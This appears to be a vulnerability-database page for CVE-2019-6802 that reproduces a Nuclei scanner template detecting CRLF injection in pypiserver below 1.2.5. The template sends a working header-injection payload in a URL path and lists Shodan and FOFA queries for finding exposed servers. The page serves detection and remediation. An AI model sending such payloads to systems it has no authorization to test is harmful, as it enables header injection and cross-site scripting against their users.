Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-6802
HistoryDec 05, 2022 - 11:32 p.m.

Pypiserver <1.2.5 - Carriage Return Line Feed Injection

2022-12-0523:32:40
ProjectDiscovery
github.com
8
cve
cve2019
crlf
pypiserver
python
injection
vulnerability
http
xss

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

45.1%

Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
id: CVE-2019-6802

info:
  name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
  remediation: |
    Upgrade to Pypiserver version 1.2.5 or later.
  reference:
    - https://vuldb.com/?id.130257
    - https://github.com/pypiserver/pypiserver/issues/237
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-6802
    cwe-id: CWE-74
    epss-score: 0.00113
    epss-percentile: 0.43845
    cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: python
    product: pypiserver
    shodan-query:
      - html:"pypiserver"
      - http.html:"pypiserver"
    fofa-query: body="pypiserver"
  tags: cve,cve2019,crlf,pypiserver,python

http:
  - method: GET
    path:
      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"
# digest: 4a0a00473045022008c43eb00190204cfa303a012d6eff02feaae721fa026f004fa26a4c95cc9e1d022100ca298f0bdeddb2a9d1befca00c072b2a2c177fbe80ae319dd9a9960acdb8b801:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

45.1%

Related for NUCLEI:CVE-2019-6802